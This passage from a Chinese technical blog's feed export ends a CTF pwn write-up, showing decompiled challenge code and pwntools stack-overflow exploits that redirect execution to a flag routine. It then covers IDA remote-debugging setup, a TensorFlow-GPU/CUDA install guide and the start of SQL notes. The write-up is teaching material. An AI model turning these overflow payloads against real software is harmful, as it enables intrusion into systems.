fgets(&amp;s, <span class="number">32</span>, edata);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::<span class="keyword">operator</span>=(&amp;input, &amp;s);</span><br><span class="line">  <span class="built_in">std</span>::allocator&lt;<span class="keyword">char</span>&gt;::allocator(&amp;v6);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::<span class="built_in">string</span>(&amp;v5, <span class="string">&quot;you&quot;</span>, &amp;v6);</span><br><span class="line">  <span class="built_in">std</span>::allocator&lt;<span class="keyword">char</span>&gt;::allocator(&amp;v8);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::<span class="built_in">string</span>(&amp;v7, <span class="string">&quot;I&quot;</span>, &amp;v8);</span><br><span class="line">  replace((<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;v4, (<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;input, (<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;v7);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::<span class="keyword">operator</span>=(&amp;input, &amp;v4, v0, &amp;v5);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;v4);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;v7);</span><br><span class="line">  <span class="built_in">std</span>::allocator&lt;<span class="keyword">char</span>&gt;::~allocator(&amp;v8);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;v5);</span><br><span class="line">  <span class="built_in">std</span>::allocator&lt;<span class="keyword">char</span>&gt;::~allocator(&amp;v6);</span><br><span class="line">  v1 = (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&amp;input);</span><br><span class="line">  <span class="built_in">strcpy</span>(&amp;s, v1);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;So, %s\n&quot;</span>, &amp;s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分析代码加上运行这个程序，可以知道是返回输入，然后看代码中<code>v5</code>是<code>you</code>，<code>v7</code>是<code>I</code>，然后有个<code>replace</code>函数，猜测是将输入中的<code>I</code>全部替换为<code>you</code>，测试一下，发现确实是。然后看输入的s，距离<code>ebp</code>有<code>3C</code>，然而fgets允许输入的最长字符串为32，所以不可能通过直接输入导致栈溢出。我们看到代码的最后，有个<code>strcpy</code>函数，分析可知，是将替换后的字符串给了v1，然后将v1拷贝到s中，于是乎，我们的目标就是通过替换后的字符串，使栈溢出。所以我们需要输入21个<code>I</code>，然后再任意输入一个字符作为payload的占位部分，然后加上<code>get_flag</code>的地址。exp如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwntools <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./pwn1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;I&#x27;</span>*<span class="number">21</span>+<span class="string">&#x27;a&#x27;</span>+p32(<span class="number">0x08048f0d</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> io.recv()</span><br></pre></td></tr></table></figure><hr><h1 id="just-do-it"><a href="#just-do-it" class="headerlink" title="just_do_it"></a>just_do_it</h1><p>扔入IDA中，分析代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+8h] [ebp-20h]</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+18h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">char</span> *v6; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  v6 = failed_message;</span><br><span class="line">  stream = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    perror(<span class="string">&quot;file open error.\n&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !fgets(flag, <span class="number">48</span>, stream) )</span><br><span class="line">  &#123;</span><br><span class="line">    perror(<span class="string">&quot;file read error.\n&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome my secret service. Do you know the password?&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input the password.&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !fgets(&amp;s, <span class="number">32</span>, <span class="built_in">stdin</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    perror(<span class="string">&quot;input error.\n&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(&amp;s, PASSWORD) )</span><br><span class="line">    v6 = success_message;</span><br><span class="line">  <span class="built_in">puts</span>(v6);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现代码是让你输入密码，查看<code>success_message</code>，发现就是一个输入成功的字符串，而不是flag。从代码中可以看到，代码使用fgets读取flag，保存到全局变量flag中。我们输入是在s，但是s距离<code>ebp</code>有<code>20H</code>，而fgets只允许有32个字符的输入，明显不能直接栈溢出。于是继续分析。我们发现最终输出了v6，v6距离s只有20个字符，于是我们可以覆盖v6为flag的地址，通过puts打印出flag。exp如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwntools <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./just_do_it&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">20</span> + p32(<span class="number">0x0804A080</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.recv()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;center&gt;几道基础pwn栈溢出问题&lt;/center&gt;</summary>
    
    
    
    <category term="pwn" scheme="http://askylin.top/categories/pwn/"/>
    
    
    <category term="pwn" scheme="http://askylin.top/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>pwn environment</title>
    <link href="http://askylin.top/2019/08/25/pwnenvir/"/>
    <id>http://askylin.top/2019/08/25/pwnenvir/</id>
    <published>2019-08-25T08:14:26.000Z</published>
    <updated>2021-09-20T13:17:53.889Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>国内网上关于pwn的知识零零散散，pwn门槛高、难入门，而且关于pwn环境的搭建以及IDA的使用更是没有系统的教程，或者是教程老旧过时。此次环境搭建，基于虚拟机上的Ubuntu18.04的32位和64位系统、pwntools，与Windows上的IDA7.0进行远程调试，是根据i春秋<a href="https://bbs.ichunqiu.com/forum.php?mod=collection&amp;action=view&amp;ctid=157">Linux pwn入门教程系列</a>进行环境的配置和补漏。这期间踩了许多坑，原本尝试在docker上使用32位和64位系统来进行远程调试，但是IDA远程时出现：The file can‘t be loaded by the debugger plugin，尝试了许多解决方案，未能解决，于是只能使用两个虚拟环境来搭建，如果有大佬知道如何解决，请不吝赐教，感谢！</p></blockquote><hr><h1 id="IDA远程调试配置"><a href="#IDA远程调试配置" class="headerlink" title="IDA远程调试配置"></a>IDA远程调试配置</h1><p>在IDA所在的文件夹的<code>dbgsrv</code>文件夹下找到需要的调试服务器<code>linux_server(32位)</code>和<code>linux_serverx64(64位)</code>并复制到Ubuntu主目录中。如果没有可执行权限，则需要给这两个文件赋予可执行权限：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod 777 ./linux_server</span><br><span class="line">chmod 777 ./linux_serverx64</span><br></pre></td></tr></table></figure><p>然后执行命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./linux_server</span><br></pre></td></tr></table></figure><p>此时我们可以看到Linux_server的版本为1.22、正在监听23946端口。</p><img src="/2019/08/25/pwnenvir/linux_server.png" class=""><p>接着打开32位的ida，载入heapTest_x86，在左侧的Functions window中找到main函数，随便挑一行代码按F2下一个断点。在Debugger中选择Remote Linux debugger，然后通过<code>Debugger-&gt;Process options...</code>打开选项窗口设置远程调试选项。Hostname就是Ubuntu的ip地址：</p><img src="/2019/08/25/pwnenvir/ip.png" class=""><img src="/2019/08/25/pwnenvir/ida.png" class=""><p>密码就是Ubuntu的密码，填写完成后点击OK，按F9快捷键运行程序。若连接正常可能提示Input file is missing:xxxxx，一路OK就行，IDA会将被调试的文件复制到服务器所在目录下，然后汇编代码所在窗口背景会变成浅蓝色并且窗口布局发生变化。</p><img src="/2019/08/25/pwnenvir/ida1.png" class=""><p>F8：单步跨入函数，F7：单步不跨入函数，F4：运行到指定位置。随着程序的调试执行，我们可以看到运行调试服务器的shell窗口会显示出新的内容：</p><img src="/2019/08/25/pwnenvir/ida2.png" class=""><h1 id="使用pwntools和IDA调试程序"><a href="#使用pwntools和IDA调试程序" class="headerlink" title="使用pwntools和IDA调试程序"></a>使用pwntools和IDA调试程序</h1><p>首先我们需要安装pwntools：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pip install pwntools</span><br></pre></td></tr></table></figure><p>其官方文档地址：&lt;<a href="http://docs.pwntools.com/en/stable/">http://docs.pwntools.com/en/stable/</a> &gt;</p><p>将heapTest_x86导入到Ubuntu主目录中，然后执行命令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socat tcp-listen:10001,reuseaddr,fork EXEC:./heapTest_x86,pty,raw,echo=0</span><br></pre></td></tr></table></figure><p>将heapTest_x86的IO转发到10001端口上。</p><img src="/2019/08/25/pwnenvir/socat.png" class=""><p>然后运行python，使用<code>from pwn import *</code>导入pwntools库。然后使用<code>io = remote(&quot;192.168.112.134&quot;, 10001)</code>与heapTest_x86连接。这个时候我们返回到IDA中设置断点。需要注意的是此时heapTest_x86已经开始运行，我们的目标是附加到其运行的进程上，所以我们需要把断点设置在<code>call    ___isoc99_scanf</code>等等待输入的指令运行顺序之后，否则由于计算机的运行速度，我们的断点将会因为已经目标指令已经执行完而失效，达不到断下来的效果。</p><img src="/2019/08/25/pwnenvir/ida3.png" class=""><p>选择<code>Debugger-&gt;Attach to process...</code>，附加到./heapTest_x86的进程上</p><img src="/2019/08/25/pwnenvir/ida4.png" class=""><p>然后IDA进入到调试模式。</p><img src="/2019/08/25/pwnenvir/ida5.png" class=""><p>这几行指令实际上是执行完sys_read后的指令，此处我们不需要关心它，直接按F9，选中标志会消失。回到python窗口，我们使用pwntools的recv/send函数族来与运行中的heapTest_x86进行交互。首先输入io.recv()，我们发现原先会在shell窗口出现的菜单被读出到python窗口里了。</p><img src="/2019/08/25/pwnenvir/pwntools.png" class=""><p>然后使用<code>io.sendline(&#39;1&#39;)</code>选择1，然后回到IDA，我们就发现到了断点处了。</p><img src="/2019/08/25/pwnenvir/ida6.png" class=""><p>当我们希望结束调试时，应该使用<code>io.close()</code>关闭掉这个io。否则下一次试图attach时会发现有两个<code>./heapTest_x86</code>进程。在IDA中按<code>Ctrl+F2</code>即可退出调试模式。</p><h1 id="疑难解答"><a href="#疑难解答" class="headerlink" title="疑难解答"></a>疑难解答</h1><p>·如果在IDA中调试时，按下F9，出现<code>Incompatible debugging server:protocol version is 19,expected 22</code>类似错误，那么就是linux_sever的版本与IDA的版本不相符，可以重新下载一个IDA，然后将其linux_sever放入Ubuntu中运行查看版本，找到对应版本即可。</p><p>·pwntools下载到一半出错，检查下pip更新，下载出错多下载几次就可以了，玄学问题，估计就是网络原因。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;pwn环境配置&lt;/center&gt;</summary>
    
    
    
    <category term="pwn" scheme="http://askylin.top/categories/pwn/"/>
    
    
    <category term="pwn" scheme="http://askylin.top/tags/pwn/"/>
    
    <category term="IDA" scheme="http://askylin.top/tags/IDA/"/>
    
  </entry>
  
  <entry>
    <title>TensorFlow+CUDA installation</title>
    <link href="http://askylin.top/2019/08/21/installation/"/>
    <id>http://askylin.top/2019/08/21/installation/</id>
    <published>2019-08-21T08:34:17.000Z</published>
    <updated>2021-09-20T13:17:53.874Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>因为我的电脑TensorFlow-CPU版本感觉运算速度不足，于是乎开始安装TensorFlow-GPU版本。这期间经历了许多坑，也因为各种原因尝试了安装TensorFlow和CUDA的许多版本，因此打算记录下来，作为分享。</p></blockquote><hr><h1 id="安装Anaconda-Navigator"><a href="#安装Anaconda-Navigator" class="headerlink" title="安装Anaconda Navigator"></a>安装Anaconda Navigator</h1><p>Anaconda Navigator下载地址：<a href="https://www.anaconda.com/distribution/"><strong>Anaconda</strong></a><br>选择python3.7版本安装</p><img src="/2019/08/21/installation/anaconda1.png" class=""><p>安装过程比较简单，需要注意的是在<code>install</code>这一步前，需要勾选第一项，否则需要手添加环境变量</p><img src="/2019/08/21/installation/anaconda2.png" class=""><p>安装完成后，验证是否安装成功：<br>在命令窗口输入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda --version</span><br></pre></td></tr></table></figure><p>如果显示了版本，即表明安装成功。<br>然后为了以后在Anaconda中安装其他插件和环境的方便，我们需要修改下载的镜像地址，我们打开刚刚安装好的Anaconda中的 <code>Anaconda Prompt</code>，然后输入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/</span><br><span class="line">conda config --set show_channel_urls yes</span><br></pre></td></tr></table></figure><hr><h1 id="安装CUDA®-Toolkit-cuDNN"><a href="#安装CUDA®-Toolkit-cuDNN" class="headerlink" title="安装CUDA® Toolkit+cuDNN"></a>安装CUDA® Toolkit+cuDNN</h1><p>安装TensorFlow-GPU前，需要查看其相应版本所需要的CUDA版本，相应的网址：<br><a href="https://www.tensorflow.org/install/source_windows">https://www.tensorflow.org/install/source_windows</a></p><div class="table-container"><table><thead><tr><th>版本</th><th>Python 版本</th><th>编译器</th><th>编译工具</th><th>cuDNN</th><th>CUDA</th></tr></thead><tbody><tr><td>tensorflow_gpu-2.0.0-alpha0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.19.2</td><td>7.4.1以及更高版本</td><td>CUDA 10.0 (需要 410.x 或更高版本)</td></tr><tr><td>tensorflow_gpu-1.14.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.19.2</td><td>7.4.1以及更高版本</td><td>CUDA 10.0 (需要 410.x 或更高版本)</td></tr><tr><td>tensorflow_gpu-1.13.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.19.2</td><td>7.4</td><td>10.0</td></tr><tr><td>tensorflow_gpu-1.12.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.15.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.11.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.15.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.10.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.15.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.9.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.11.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.8.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.10.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.7.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.9.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.6.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.9.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.5.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.8.0</td><td>7</td><td>9</td></tr><tr><td>tensorflow_gpu-1.4.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.5.4</td><td>6</td><td>8</td></tr><tr><td>tensorflow_gpu-1.3.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.4.5</td><td>6</td><td>8</td></tr><tr><td>tensorflow_gpu-1.2.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.4.5</td><td>5.1</td><td>8</td></tr><tr><td>tensorflow_gpu-1.1.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.4.2</td><td>5.1</td><td>8</td></tr><tr><td>tensorflow_gpu-1.0.0</td><td>2.7、3.3-3.6</td><td>GCC 4.8</td><td>Bazel 0.4.2</td><td>5.1</td><td>8</td></tr></tbody></table></div><p>然后我们需要查看NVIDIA驱动版本，才能安装合适的CUDA版本。在<code>C:\Program Files\NVIDIA Corporation\NVSMI</code>目录下，打开命令行窗口，执行<code>nvidia-smi.exe</code>：</p><img src="/2019/08/21/installation/nvidia1.png" class=""><p>如果电脑上没有<code>NVSMI</code>文件夹和<code>nvidia-smi.exe</code>文件，可以参照这里：<br><a href="https://blog.csdn.net/Kelly_Young/article/details/96848042"><strong>Windows NVIDIA Corporation下没有NVSMI文件夹解决方法</strong></a><br>然后需要看CUDA对应的NVIDIA驱动版本，这里有一个对照表，参照表来安装相应的CUDA：</p><img src="/2019/08/21/installation/cuda3.png" class=""><p>这个网址对应了官方的版本要求说明：<a href="https://docs.nvidia.com/cuda/cuda-toolkit-release-notes/index.html">https://docs.nvidia.com/cuda/cuda-toolkit-release-notes/index.html</a><br>确定好了需要安装的CUDA和cuDNN版本后，在以下网址下载CUDA和cuDNN:<br>CUDA：<a href="https://developer.nvidia.com/cuda-toolkit-archive">https://developer.nvidia.com/cuda-toolkit-archive</a><br>cuDNN：<a href="https://developer.nvidia.com/cudnn">https://developer.nvidia.com/cudnn</a><br>下载cuDNN需要NVIDIA账号，注册一个即可。<br>下载完成后，开始安装CUDA，打开下载好的安装程序，刚开始的安装程序临时存放位置，默认就好：</p><img src="/2019/08/21/installation/cuda1.png" class=""><p>然后会检测系统兼容性，有些显卡是不支持GPU的，自己需要先查清楚。下一步接受协议，然后选择安装模式，选择自定义模式，程序默认的精简模式应该可以理解为安装所有东西，其中包括VS以及显卡驱动，所以我选择的是自定义模式。在自定义模式中，如果电脑上有VS，那么就去掉VS的安装；另外Driver Component和NVIDIA GeForce Experience也不用勾选。</p><img src="/2019/08/21/installation/cuda2.png" class=""><p>然后会让你选择安装路径，建议C盘空间足够的同学就直接按照默认路径在C盘中安装了，安装在其他盘有可能出问题。<br>安装完成后，还需要配置环境变量。系统中会多出两个环境变量：</p><img src="/2019/08/21/installation/cuda4.png" class=""><p>然后添加如下环境变量：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">CUDA_SDK_PATH = C:\ProgramData\NVIDIA Corporation\CUDA Samples\v9.0(这是默认安装位置的路径，如果自己路径设置安装成功的话就用自己的路径)</span><br><span class="line"></span><br><span class="line">CUDA_LIB_PATH = %CUDA_PATH%\lib\x64 </span><br><span class="line"></span><br><span class="line">CUDA_BIN_PATH = %CUDA_PATH%\bin </span><br><span class="line"></span><br><span class="line">CUDA_SDK_BIN_PATH = %CUDA_SDK_PATH%\bin\win64 </span><br><span class="line"></span><br><span class="line">CUDA_SDK_LIB_PATH = %CUDA_SDK_PATH%\common\lib\x64</span><br></pre></td></tr></table></figure><img src="/2019/08/21/installation/cuda5.png" class=""><p>添加完之后CUDA就算安装完成了。检验是否安装成功可以到<code>C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\extras\demo_suite(这是默认路径)</code>中分别执行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bandwidthTest.exe</span><br><span class="line">deviceQuery.exe</span><br></pre></td></tr></table></figure><p>如果分别返回：</p><img src="/2019/08/21/installation/cuda6.png" class=""><img src="/2019/08/21/installation/cuda7.png" class=""><p>则表示CUDA安装成功。接下来需要解压下载好的cuDNN，将里面的<code>bin、include、lib/x64</code>中的文件分别拷到安装好的CUDA文件夹里对应的<code>bin、include、lib/x64</code>文件夹中。至此就安装好了CUDA和对应的cuDNN。</p><hr><h1 id="切换CUDA和cuDNN版本"><a href="#切换CUDA和cuDNN版本" class="headerlink" title="切换CUDA和cuDNN版本"></a>切换CUDA和cuDNN版本</h1><p>如果安装了错误的CUDA版本或者在之后需要更换CUDA和cuDNN相应的版本，其实方法比较简单，还是在CUDA和cuDNN的官网下载相应的版本，按照上文的方法安装后，只需要将相应环境变量（<code>CUDA_SDK_PATH</code>和<code>CUDA_PATH</code>）修改为对应的版本即可。</p><hr><h1 id="安装TensorFlow-GPU"><a href="#安装TensorFlow-GPU" class="headerlink" title="安装TensorFlow-GPU"></a>安装TensorFlow-GPU</h1><p>我们选择在Anaconda上安装TensorFlow-GPU，因为Anaconda可以独立的配置多个python环境，而互不影响，因此想换想改成其他版本都十分便捷。<br>首先通过</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda create -n tf python=3.6</span><br></pre></td></tr></table></figure><p>创建一个专门用于TensorFlow的环境，然后</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">activate tf <span class="comment">#进入tensorflow环境</span></span><br><span class="line">deactivate  <span class="comment">#退出tensorflow环境</span></span><br></pre></td></tr></table></figure><p>进入这个环境。为了保证安装没有什么问题，建议更新pip和setuptool工具</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -m pip install --upgrade pip</span><br><span class="line">pip install -–upgrade setuptools</span><br></pre></td></tr></table></figure><p>然后就可以安装TensorFlow了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip install tensorflow-gpu  <span class="comment"># stable</span></span><br><span class="line">pip install tf-nightly-gpu  <span class="comment"># preview</span></span><br><span class="line">pip install tensorflow-gpu==2.0.0-beta1  <span class="comment">#tensorflow2.0</span></span><br></pre></td></tr></table></figure><p>安装完成后，进入python解释器，导入TensorFlow，如果导入成功即安装成功。</p><hr><h1 id="将Anaconda的TensorFlow环境导入到PyCharm"><a href="#将Anaconda的TensorFlow环境导入到PyCharm" class="headerlink" title="将Anaconda的TensorFlow环境导入到PyCharm"></a>将Anaconda的TensorFlow环境导入到PyCharm</h1><p>现在TensorFlow的环境已经搭好了，为了方便快捷的码代码，建议可以将Anaconda的TensorFlow环境导入到PyCharm（虽然Anaconda下的spider也可以用，但是建议PyCharm）。<br>打开PyCharm，在<code>File-&gt;Setting</code>中搜索<code>Project Interpreter</code>:</p><img src="/2019/08/21/installation/py1.png" class=""><p>选择<code>Add Local</code></p><img src="/2019/08/21/installation/py2.png" class=""><p>然后添加刚刚建立的TensorFlow的环境的<code>python.exe</code>的地址：<code>\Anaconda\envs\tf\python.exe</code>。然后<code>OK</code>、<code>Apply</code>即可。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;Window下超详细的TensorFlow-GPU安装教程！&lt;/center&gt;</summary>
    
    
    
    <category term="AI" scheme="http://askylin.top/categories/AI/"/>
    
    
    <category term="AI" scheme="http://askylin.top/tags/AI/"/>
    
    <category term="Deep Learning" scheme="http://askylin.top/tags/Deep-Learning/"/>
    
    <category term="TensorFlow" scheme="http://askylin.top/tags/TensorFlow/"/>
    
    <category term="CUDA" scheme="http://askylin.top/tags/CUDA/"/>
    
  </entry>
  
  <entry>
    <title>Basic of SQL</title>
    <link href="http://askylin.top/2019/07/19/SQL/"/>
    <id>http://askylin.top/2019/07/19/SQL/</id>
    <published>2019-07-19T11:21:02.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="SQL基础总结"><a href="#SQL基础总结" class="headerlink" title="SQL基础总结"></a>SQL基础总结</h1><h2 id="SQL语言分类"><a href="#SQL语言分类" class="headerlink" title="SQL语言分类"></a>SQL语言分类</h2><p>1、DML（Data Manipulation Language）:数据操纵语句，用于添 加、删除、修改、查询数据库记录，并检查数据完整性。</p><p>INSERT：添加数据到数据库中<br>UPDATE：修改数据库中的数据<br>DELETE：删除数据库中的数据<br>SELECT：选择（查询）数据</p><p>2、DDL（Data Definition Language）:数据定义语句，用于库和 表的创建、修改、删除。</p><p>CREATE TABLE：创建数据库表<br>ALTER TABLE：更改表结构、添加、删除、修改列长度<br>DROP TABLE：删除表</p><p>3、DCL（Data Control Language）:数据控制语句，用于定义用 户的访问权限和安全级别。</p><p>COMMIT：提交事务处理<br>ROLLBACK：事务处理回退<br>SAVEPOINT：设置保存点<br>LOCK：对数据库的特定部分进行锁定</p><h2 id="数据查询"><a href="#数据查询" class="headerlink" title="数据查询"></a>数据查询</h2><h3 id="SELECT"><a href="#SELECT" class="headerlink" title="SELECT"></a>SELECT</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span><span class="operator">|</span>&#123;[<span class="keyword">DISTINCT</span>] <span class="keyword">column</span><span class="operator">|</span>expression [alias],...&#125;</span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">table</span>;</span><br></pre></td></tr></table></figure><p>SELECT：标识选择哪些列<br>FROM：标识从哪个表中选择</p><p><strong>列的别名</strong>有三种方式，例子如下：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> last_name <span class="keyword">AS</span> name, commission_pct comm</span><br><span class="line"><span class="keyword">FROM</span> employees;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> last_name &quot;Name&quot;, salary<span class="operator">*</span><span class="number">12</span>  </span><br><span class="line"><span class="keyword">FROM</span> employees;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> commission_pct 